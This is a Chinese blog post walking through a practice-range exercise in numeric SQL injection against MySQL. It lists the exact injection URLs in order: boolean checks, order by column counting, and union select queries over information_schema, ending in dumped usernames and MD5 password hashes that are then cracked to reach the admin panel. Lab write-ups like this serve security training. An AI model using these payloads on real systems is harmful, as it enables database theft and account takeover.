WEB安全-SQL手工注入漏洞测试(MySQL数据库-数字型)
前言
目前钻研SQLi注入,这是第三篇,靶场名即为标题,链接如下
正文
看一下要求是手工注入,和之前差不多,依然进入公告进行注入
首先进行猜测是字符型还是数字型,发现无论是单引号还是双引号还是带括号,都不行,尝试数字型逻辑注入,发现可行
http://219.153.49.228:42158/new_list.php?id=1 and 1=1
http://219.153.49.228:42158/new_list.php?id=1 and 1=2
http://219.153.49.228:42158/new_list.php?id=-1 or 1=1
随后判断列数,并显示报错位
http://219.153.49.228:42158/new_list.php?id=1 order by 4
http://219.153.49.228:42158/new_list.php?id=-1 union select 1,2,3,4
之后通过group_concat()进行数据拉取
http://219.153.49.228:42158/new_list.php?id=-1 union select 1,database(),3,4
//注入出数据库 mozhe_Discuz_StormGroup
http://219.153.49.228:42158/new_list.php?id=-1 union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()
//获取表 StormGroup_member,notice
http://219.153.49.228:42158/new_list.php?id=-1 union select 1,database(),group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
//获取StormGroup表的列名为 id,name,password,status
http://219.153.49.228:42158/new_list.php?id=-1 union select 1,database(),group_concat(0x7e,name,0x7e,password,0x7e),4 from mozhe_Discuz_StormGroup.StormGroup_member
//获取name为 mozhe , password为 356f589a7df439f6f744ff19bb8092c0 和 701e4062b4212f7daec22d7f7c70e046
进行md5解密password,得到正确的密码,输入账号密码进入后台获取key
总结
数字型注入还是相对来说比较简单的,以下介绍注入流程
1.先传入参数http://192.168.223.132/sqli-labs/Less-2/?id=1 出现数值
2.修改参数http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出现报错
3.修改参数http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出现最初数值
# id=1 and 1=2是假,传回0,所以无法出现数值,id=-1 or 1=1为真,传回1,和第一次输入一致,可判断为数值型
4.通过order by语句http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3 判断出有3列,
5.http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 产生回显,注意这里是-1才能回显,正常的网页回显只有一次。发现回显位为2和3位,接下来就可以通过回显位得出敏感信息
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15579551.html